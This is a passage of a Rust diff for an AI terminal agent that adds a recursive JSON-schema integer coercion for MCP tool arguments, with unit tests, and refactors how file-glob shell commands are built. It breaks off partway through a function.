use crate::auth::AuthStateProvider;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::network::NetworkStatus;
|
||||
use crate::server::{cloud_objects::update_manager::UpdateManager, sync_queue::SyncQueue};
|
||||
use crate::server::cloud_objects::update_manager::UpdateManager;
|
||||
use crate::server::sync_queue::SyncQueue;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
use crate::workspaces::{team_tester::TeamTesterStatus, user_workspaces::UserWorkspaces};
|
||||
use crate::workspaces::team_tester::TeamTesterStatus;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::LaunchMode;
|
||||
use ai::agent::action::AskUserQuestionItem;
|
||||
use ai::agent::action_result::{AskUserQuestionAnswerItem, AskUserQuestionResult};
|
||||
use galaxyui::{App, EntityId, ModelHandle};
|
||||
|
||||
fn build_action(action_id: &str) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
@@ -45,7 +47,7 @@ fn should_autoexecute_returns_false_when_autoapprove_is_enabled_and_profile_alwa
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, true, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, true, false, false, ctx)
|
||||
});
|
||||
|
||||
profiles.update(&mut app, |profiles, ctx| {
|
||||
@@ -128,7 +130,7 @@ fn should_autoexecute_returns_true_when_autoapprove_is_enabled_and_profile_allow
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, true, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, true, false, false, ctx)
|
||||
});
|
||||
let result = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
@@ -150,7 +152,7 @@ fn execute_returns_sync_skipped_question_ids_when_autoapprove_is_enabled() {
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, true, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, true, false, false, ctx)
|
||||
});
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
@@ -261,7 +263,7 @@ fn should_autoexecute_uses_active_terminal_profile_permission() {
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
|
||||
profiles.update(&mut app, |profiles, ctx| {
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use itertools::Itertools;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use super::get_server_output_id;
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::{
|
||||
ai::{
|
||||
@@ -14,10 +19,6 @@ use crate::{
|
||||
},
|
||||
send_telemetry_from_app_ctx, TelemetryEvent,
|
||||
};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use itertools::Itertools;
|
||||
|
||||
pub struct CallMCPToolExecutor {
|
||||
_active_session: ModelHandle<ActiveSession>,
|
||||
@@ -158,10 +159,10 @@ impl CallMCPToolExecutor {
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
reconnecting_peer
|
||||
.call_tool(rmcp::model::CallToolRequestParam {
|
||||
name: name_owned_inner.into(),
|
||||
arguments: Some(arguments),
|
||||
})
|
||||
.call_tool(
|
||||
rmcp::model::CallToolRequestParams::new(name_owned_inner)
|
||||
.with_arguments(arguments),
|
||||
)
|
||||
.await
|
||||
},
|
||||
move |res, ctx| handle_call_tool_result(res, server_output_id, name_clone, ctx),
|
||||
@@ -189,30 +190,116 @@ impl Entity for CallMCPToolExecutor {
|
||||
/// MCP tool args round-trip through `google.protobuf.Struct` on the wire, whose
|
||||
/// `NumberValue` stores everything as `f64`. Without this fix, serde_json emits
|
||||
/// whole-number floats as `"5.0"`, which strict MCP servers reject for integer fields.
|
||||
///
|
||||
/// Walks the schema recursively so integer fields nested inside objects, arrays,
|
||||
/// or `oneOf`/`anyOf`/`allOf` branches are all coerced. `$ref` is not resolved
|
||||
/// (the root schema would be required) and is skipped.
|
||||
pub(crate) fn coerce_integer_args(
|
||||
args: &mut serde_json::Map<String, serde_json::Value>,
|
||||
input_schema: &serde_json::Map<String, serde_json::Value>,
|
||||
) {
|
||||
let Some(properties) = input_schema.get("properties").and_then(|p| p.as_object()) else {
|
||||
return;
|
||||
};
|
||||
// Delegate to the recursive walker by wrapping `args` in a borrowed `Value`.
|
||||
// This keeps the root-level traversal consistent with nested levels, so
|
||||
// top-level `oneOf`/`anyOf`/`allOf` and `additionalProperties` are honored
|
||||
// the same way they are deeper in the schema.
|
||||
let mut wrapped = serde_json::Value::Object(std::mem::take(args));
|
||||
let schema_value = serde_json::Value::Object(input_schema.clone());
|
||||
coerce_value_against_schema(&mut wrapped, &schema_value);
|
||||
if let serde_json::Value::Object(restored) = wrapped {
|
||||
*args = restored;
|
||||
}
|
||||
}
|
||||
|
||||
for (key, prop_def) in properties {
|
||||
let is_integer = prop_def.get("type").and_then(|t| t.as_str()) == Some("integer");
|
||||
if !is_integer {
|
||||
continue;
|
||||
/// Returns true if the schema's `type` declares `"integer"`, including the
|
||||
/// nullable form `"type": ["integer", "null"]`.
|
||||
fn schema_declares_integer(schema: &serde_json::Value) -> bool {
|
||||
match schema.get("type") {
|
||||
Some(serde_json::Value::String(s)) => s == "integer",
|
||||
Some(serde_json::Value::Array(types)) => {
|
||||
types.iter().any(|t| t.as_str() == Some("integer"))
|
||||
}
|
||||
let Some(serde_json::Value::Number(n)) = args.get_mut(key) else {
|
||||
continue;
|
||||
};
|
||||
let Some(f) = n.as_f64() else { continue };
|
||||
if f.fract() != 0.0 {
|
||||
continue;
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// In-place coerces a whole-number `f64` `Number` to `i64`.
|
||||
fn coerce_number_to_int(n: &mut serde_json::Number) {
|
||||
let Some(f) = n.as_f64() else { return };
|
||||
if n.is_i64() || n.is_u64() {
|
||||
return;
|
||||
}
|
||||
if f.fract() != 0.0 {
|
||||
return;
|
||||
}
|
||||
if let Ok(i) = i64::try_from(f as i128) {
|
||||
*n = serde_json::Number::from(i);
|
||||
}
|
||||
}
|
||||
|
||||
/// Recursively walks `value` against `schema`, coercing whole-number f64s to
|
||||
/// i64 wherever the schema declares `"type": "integer"`. Safe to call against
|
||||
/// multiple `oneOf`/`anyOf`/`allOf` branches: coercion is a no-op on values
|
||||
/// the schema does not match.
|
||||
fn coerce_value_against_schema(value: &mut serde_json::Value, schema: &serde_json::Value) {
|
||||
if schema_declares_integer(schema) {
|
||||
if let serde_json::Value::Number(n) = value {
|
||||
coerce_number_to_int(n);
|
||||
}
|
||||
if let Ok(i) = i64::try_from(f as i128) {
|
||||
*n = serde_json::Number::from(i);
|
||||
}
|
||||
|
||||
// Visit every combinator key independently — a schema may declare more than
|
||||
// one of {oneOf, anyOf, allOf} at the same level, and we need to walk every
|
||||
// branch in every present combinator. Coercion is monotonic, so visiting
|
||||
// branches whose constraints don't match `value` is a safe no-op.
|
||||
for combinator in ["oneOf", "anyOf", "allOf"] {
|
||||
if let Some(branches) = schema.get(combinator).and_then(|b| b.as_array()) {
|
||||
for branch in branches {
|
||||
coerce_value_against_schema(value, branch);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
match value {
|
||||
serde_json::Value::Object(map) => {
|
||||
let properties = schema.get("properties").and_then(|p| p.as_object());
|
||||
let additional = schema.get("additionalProperties");
|
||||
// Per-key handling for the outer schema only. Per-branch handling
|
||||
// for keys covered by `oneOf`/`anyOf`/`allOf` is reached through
|
||||
// the top-level combinator recursion above: each branch is invoked
|
||||
// with the full `value`, so the branch's own object handling runs
|
||||
// and walks its `properties[k]`. Coercion is monotonic so the two
|
||||
// passes stack safely.
|
||||
for (k, v) in map.iter_mut() {
|
||||
if let Some(prop_schema) = properties.and_then(|p| p.get(k)) {
|
||||
coerce_value_against_schema(v, prop_schema);
|
||||
} else if let Some(extra_schema) = additional {
|
||||
if extra_schema.is_object() {
|
||||
coerce_value_against_schema(v, extra_schema);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
serde_json::Value::Array(items) => {
|
||||
if let Some(item_schema) = schema.get("items") {
|
||||
match item_schema {
|
||||
// `items` as an object schema: applies to every element.
|
||||
serde_json::Value::Object(_) => {
|
||||
for elem in items.iter_mut() {
|
||||
coerce_value_against_schema(elem, item_schema);
|
||||
}
|
||||
}
|
||||
// `items` as an array (tuple validation): positional schemas.
|
||||
serde_json::Value::Array(schemas) => {
|
||||
for (elem, elem_schema) in items.iter_mut().zip(schemas.iter()) {
|
||||
coerce_value_against_schema(elem, elem_schema);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
//! Unit tests for the `coerce_integer_args` helper.
|
||||
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn obj(value: serde_json::Value) -> serde_json::Map<String, serde_json::Value> {
|
||||
match value {
|
||||
serde_json::Value::Object(m) => m,
|
||||
@@ -46,3 +47,274 @@ fn no_coercion_when_not_typed_as_integer() {
|
||||
assert_eq!(serde_json::to_string(&args["x"]).unwrap(), "1.0");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nested_object_integer_is_coerced() {
|
||||
let mut args = obj(json!({ "outer": { "inner": 5.0 } }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"outer": {
|
||||
"type": "object",
|
||||
"properties": { "inner": { "type": "integer" } }
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["outer"]["inner"].as_i64(), Some(5));
|
||||
assert_eq!(serde_json::to_string(&args["outer"]["inner"]).unwrap(), "5");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn array_items_integer_is_coerced() {
|
||||
let mut args = obj(json!({ "ids": [1.0, 2.0, 3.5] }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"ids": { "type": "array", "items": { "type": "integer" } }
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
// Whole-number floats become i64; fractional values are left alone.
|
||||
assert_eq!(args["ids"][0].as_i64(), Some(1));
|
||||
assert_eq!(args["ids"][1].as_i64(), Some(2));
|
||||
assert_eq!(args["ids"][2].as_f64(), Some(3.5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nullable_integer_type_array_is_coerced() {
|
||||
let mut args = obj(json!({ "n": 7.0, "m": null }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"n": { "type": ["integer", "null"] },
|
||||
"m": { "type": ["integer", "null"] }
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["n"].as_i64(), Some(7));
|
||||
assert!(args["m"].is_null());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_of_branch_with_integer_is_coerced() {
|
||||
// Mirrors the schema shape from issue #10596: a `filters` array whose items
|
||||
// are a oneOf where one branch has `value: integer` (a millisecond timestamp).
|
||||
let mut args = obj(json!({
|
||||
"filters": [
|
||||
{ "value": ["a", "b"] },
|
||||
{ "value": 1730419200000.0 }
|
||||
]
|
||||
}));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"filters": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"oneOf": [
|
||||
{ "properties": { "value": { "type": "array", "items": { "type": "string" } } } },
|
||||
{ "properties": { "value": { "type": "integer" } } }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["filters"][1]["value"].as_i64(), Some(1730419200000));
|
||||
assert_eq!(
|
||||
serde_json::to_string(&args["filters"][1]["value"]).unwrap(),
|
||||
"1730419200000"
|
||||
);
|
||||
// The string-array branch value is untouched.
|
||||
assert_eq!(args["filters"][0]["value"][0].as_str(), Some("a"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn any_of_at_property_level_is_coerced() {
|
||||
let mut args = obj(json!({ "x": 9.0 }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"x": {
|
||||
"anyOf": [
|
||||
{ "type": "string" },
|
||||
{ "type": "integer" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(9));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn all_of_with_integer_branch_is_coerced() {
|
||||
let mut args = obj(json!({ "x": 4.0 }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"x": {
|
||||
"allOf": [
|
||||
{ "type": "integer" },
|
||||
{ "minimum": 0 }
|
||||
]
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(4));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn additional_properties_schema_is_applied() {
|
||||
let mut args = obj(json!({ "meta": { "a": 1.0, "b": 2.0 } }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"meta": {
|
||||
"type": "object",
|
||||
"additionalProperties": { "type": "integer" }
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["meta"]["a"].as_i64(), Some(1));
|
||||
assert_eq!(args["meta"]["b"].as_i64(), Some(2));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fractional_value_is_not_coerced_to_int() {
|
||||
let mut args = obj(json!({ "x": 2.5 }));
|
||||
let schema = obj(json!({
|
||||
"properties": { "x": { "type": "integer" } }
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
// Schema mismatch (server will reject) but we must not silently truncate.
|
||||
assert_eq!(args["x"].as_f64(), Some(2.5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn root_level_one_of_branch_with_integer_is_coerced() {
|
||||
// When the root schema uses a combinator instead of (or alongside)
|
||||
// `properties`, the entrypoint must walk every branch, not stop at the
|
||||
// first one.
|
||||
let mut args = obj(json!({ "x": 6.0 }));
|
||||
let schema = obj(json!({
|
||||
"oneOf": [
|
||||
{ "properties": { "x": { "type": "string" } } },
|
||||
{ "properties": { "x": { "type": "integer" } } }
|
||||
]
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(6));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn root_level_additional_properties_is_applied() {
|
||||
let mut args = obj(json!({ "anything": 8.0, "more": 9.0 }));
|
||||
let schema = obj(json!({ "additionalProperties": { "type": "integer" } }));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["anything"].as_i64(), Some(8));
|
||||
assert_eq!(args["more"].as_i64(), Some(9));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn negative_whole_float_is_coerced() {
|
||||
let mut args = obj(json!({ "x": -42.0 }));
|
||||
let schema = obj(json!({
|
||||
"properties": { "x": { "type": "integer" } }
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(-42));
|
||||
assert_eq!(serde_json::to_string(&args["x"]).unwrap(), "-42");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tuple_style_items_coerces_positional_schemas() {
|
||||
let mut args = obj(json!({ "pair": [1.0, "hi", 2.0] }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"pair": {
|
||||
"type": "array",
|
||||
"items": [
|
||||
{ "type": "integer" },
|
||||
{ "type": "string" },
|
||||
{ "type": "integer" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["pair"][0].as_i64(), Some(1));
|
||||
assert_eq!(args["pair"][1].as_str(), Some("hi"));
|
||||
assert_eq!(args["pair"][2].as_i64(), Some(2));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn multiple_combinators_at_same_level_are_all_traversed() {
|
||||
// A schema may declare more than one of {oneOf, anyOf, allOf} at the
|
||||
// same level, and every combinator must be walked — not just the first
|
||||
// present key.
|
||||
let mut args = obj(json!({ "a": 1.0, "b": 2.0, "c": 3.0 }));
|
||||
let schema = obj(json!({
|
||||
"oneOf": [{ "properties": { "a": { "type": "integer" } } }],
|
||||
"anyOf": [{ "properties": { "b": { "type": "integer" } } }],
|
||||
"allOf": [{ "properties": { "c": { "type": "integer" } } }]
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["a"].as_i64(), Some(1));
|
||||
assert_eq!(args["b"].as_i64(), Some(2));
|
||||
assert_eq!(args["c"].as_i64(), Some(3));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_of_with_multiple_branches_all_visited() {
|
||||
// Every branch under a combinator must be visited, not just the first
|
||||
// match. The same property name across branches with different types
|
||||
// should still get the integer branch's coercion when applicable.
|
||||
let mut args = obj(json!({ "v": 11.0 }));
|
||||
let schema = obj(json!({
|
||||
"oneOf": [
|
||||
{ "properties": { "v": { "type": "string" } } },
|
||||
{ "properties": { "v": { "type": "number" } } },
|
||||
{ "properties": { "v": { "type": "integer" } } }
|
||||
]
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["v"].as_i64(), Some(11));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn already_integer_value_is_unchanged() {
|
||||
let mut args = obj(json!({ "x": 5 }));
|
||||
let schema = obj(json!({
|
||||
"properties": { "x": { "type": "integer" } }
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(5));
|
||||
assert_eq!(serde_json::to_string(&args["x"]).unwrap(), "5");
|
||||
}
|
||||
|
||||
@@ -1,21 +1,19 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionType,
|
||||
CreateDocumentsRequest, CreateDocumentsResult, DocumentContext,
|
||||
},
|
||||
artifacts::Artifact,
|
||||
blocklist::BlocklistAIHistoryModel,
|
||||
document::ai_document_model::{AIDocumentModel, AIDocumentVersion},
|
||||
},
|
||||
notebooks::editor::model::FileLinkResolutionContext,
|
||||
terminal::model::session::active_session::ActiveSession,
|
||||
};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionType, CreateDocumentsRequest, CreateDocumentsResult,
|
||||
DocumentContext,
|
||||
};
|
||||
use crate::ai::artifacts::Artifact;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::ai::document::ai_document_model::{AIDocumentModel, AIDocumentVersion};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::notebooks::editor::model::FileLinkResolutionContext;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
pub struct CreateDocumentsExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
|
||||
@@ -1,18 +1,17 @@
|
||||
use ai::diff_validation::DiffDelta;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, EditDocumentsRequest,
|
||||
EditDocumentsResult,
|
||||
},
|
||||
document::ai_document_model::{AIDocumentId, AIDocumentModel, AIDocumentUpdateSource},
|
||||
};
|
||||
use crate::notebooks::post_process_notebook;
|
||||
use ai::diff_validation::DiffDelta;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, EditDocumentsRequest, EditDocumentsResult,
|
||||
};
|
||||
use crate::ai::document::ai_document_model::{
|
||||
AIDocumentId, AIDocumentModel, AIDocumentUpdateSource,
|
||||
};
|
||||
|
||||
pub struct EditDocumentsExecutor;
|
||||
|
||||
@@ -66,8 +65,8 @@ impl EditDocumentsExecutor {
|
||||
|
||||
// Apply the diff using fuzzy matching logic
|
||||
let search_replace = ai::diff_validation::SearchAndReplace {
|
||||
search: post_process_notebook(&diff.search),
|
||||
replace: post_process_notebook(&diff.replace),
|
||||
search: diff.search.clone(),
|
||||
replace: diff.replace.clone(),
|
||||
};
|
||||
|
||||
let content_name = format!("document_{}", diff.document_id);
|
||||
|
||||
@@ -1,17 +1,14 @@
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::ai::agent::conversation_yaml;
|
||||
use crate::ai::agent::AIAgentActionResultType;
|
||||
use crate::ai::blocklist::history_model::CloudConversationData;
|
||||
use ai::agent::action_result::FetchConversationResult;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::api::ServerConversationToken;
|
||||
use crate::ai::agent::AIAgentActionType;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::api::ServerConversationToken;
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::ai::agent::{conversation_yaml, AIAgentActionResultType, AIAgentActionType};
|
||||
use crate::ai::blocklist::history_model::CloudConversationData;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
pub struct FetchConversationExecutor;
|
||||
|
||||
@@ -41,8 +38,9 @@ impl FetchConversationExecutor {
|
||||
let conversation_id = conversation_id.clone();
|
||||
let server_token = ServerConversationToken::new(conversation_id.clone());
|
||||
|
||||
let history = BlocklistAIHistoryModel::as_ref(ctx);
|
||||
let load_future = history.load_conversation_by_server_token(&server_token, ctx);
|
||||
let load_future = BlocklistAIHistoryModel::handle(ctx).update(ctx, |history, ctx| {
|
||||
history.load_conversation_by_server_token(&server_token, ctx)
|
||||
});
|
||||
|
||||
ActionExecution::new_async(load_future, move |cloud_conversation, _ctx| {
|
||||
// TODO(REMOTE-1203): FetchConversation can't materialize non-Oz conversation transcripts yet.
|
||||
|
||||
@@ -7,24 +7,21 @@ use futures::FutureExt;
|
||||
use galaxyui::r#async::FutureExt as AsyncFutureExt;
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use itertools::Itertools;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionType, FileGlobResult,
|
||||
FileGlobV2Match, FileGlobV2Result,
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, FileGlobResult, FileGlobV2Match,
|
||||
FileGlobV2Result,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use crate::ai::paths::{host_native_absolute_path, join_paths, shell_native_absolute_path};
|
||||
use crate::terminal::model::session::ExecuteCommandOptions;
|
||||
use crate::{
|
||||
ai::agent::AIAgentActionResultType,
|
||||
send_telemetry_from_app_ctx,
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession, model::session::Session, shell::ShellType,
|
||||
ShellLaunchData,
|
||||
},
|
||||
TelemetryEvent,
|
||||
};
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::command_executor::shell_quote_arg;
|
||||
use crate::terminal::model::session::{ExecuteCommandOptions, Session};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::ShellLaunchData;
|
||||
use crate::{send_telemetry_from_app_ctx, TelemetryEvent};
|
||||
|
||||
const FILE_GLOB_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
@@ -214,6 +211,7 @@ async fn run_file_glob(
|
||||
let Some(session) = session else {
|
||||
return Err(anyhow::anyhow!("No session provided to file_glob"));
|
||||
};
|
||||
let shell_type = session.shell().shell_type();
|
||||
|
||||
let is_in_git_repo = is_git_repository(&absolute_path, session.as_ref())
|
||||
.await
|
||||
@@ -228,12 +226,13 @@ async fn run_file_glob(
|
||||
&absolute_path,
|
||||
session.as_ref(),
|
||||
shell_launch_data,
|
||||
shell_type,
|
||||
)
|
||||
.await
|
||||
} else if session.shell().shell_type() == ShellType::PowerShell {
|
||||
} else if shell_type == ShellType::PowerShell {
|
||||
run_powershell_get_childitem_command(&patterns, &absolute_path, session.as_ref()).await
|
||||
} else {
|
||||
run_find_command(&patterns, &absolute_path, session.as_ref()).await
|
||||
run_find_command(&patterns, &absolute_path, session.as_ref(), shell_type).await
|
||||
}
|
||||
}
|
||||
|
||||
@@ -243,20 +242,14 @@ async fn run_git_ls_files_command(
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
shell_type: ShellType,
|
||||
) -> anyhow::Result<FileGlobV2Result> {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.flat_map(|pattern| {
|
||||
[
|
||||
// Matches on files in the target path.
|
||||
join_paths(&[target_path, pattern], shell_launch_data.as_ref()),
|
||||
// Matches on files in any subdirectory of the target path.
|
||||
join_paths(&[target_path, "*", pattern], shell_launch_data.as_ref()),
|
||||
]
|
||||
})
|
||||
.map(|pattern| format!("'{pattern}'"))
|
||||
.join(" ");
|
||||
let command = format!("git ls-files -c -o --exclude-standard -- {pattern_args}");
|
||||
let command = build_git_ls_files_command(
|
||||
patterns,
|
||||
target_path,
|
||||
shell_launch_data.as_ref(),
|
||||
shell_type,
|
||||
);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -291,13 +284,9 @@ async fn run_find_command(
|
||||
patterns: &[String],
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
shell_type: ShellType,
|
||||
) -> anyhow::Result<FileGlobV2Result> {
|
||||
// Build a find command with -name for each pattern
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.map(|pattern| format!(" -name '{pattern}'"))
|
||||
.join(" -o");
|
||||
let find_command = format!("find \"{target_path}\" -type f {pattern_args}");
|
||||
let find_command = build_find_command(patterns, target_path, shell_type);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -336,13 +325,7 @@ async fn run_powershell_get_childitem_command(
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
) -> anyhow::Result<FileGlobV2Result> {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.map(|pattern| format!("'{pattern}'"))
|
||||
.join(",");
|
||||
let command = format!(
|
||||
"Get-ChildItem -File -Recurse -Include {pattern_args} -Path \"{target_path}\" | ForEach-Object {{ $_.FullName }}"
|
||||
);
|
||||
let command = build_powershell_get_childitem_command(patterns, target_path);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -367,6 +350,55 @@ async fn run_powershell_get_childitem_command(
|
||||
}
|
||||
}
|
||||
|
||||
fn build_git_ls_files_command(
|
||||
patterns: &[String],
|
||||
target_path: &str,
|
||||
shell_launch_data: Option<&ShellLaunchData>,
|
||||
shell_type: ShellType,
|
||||
) -> String {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.flat_map(|pattern| {
|
||||
[
|
||||
// Matches on files in the target path.
|
||||
join_paths(&[target_path, pattern], shell_launch_data),
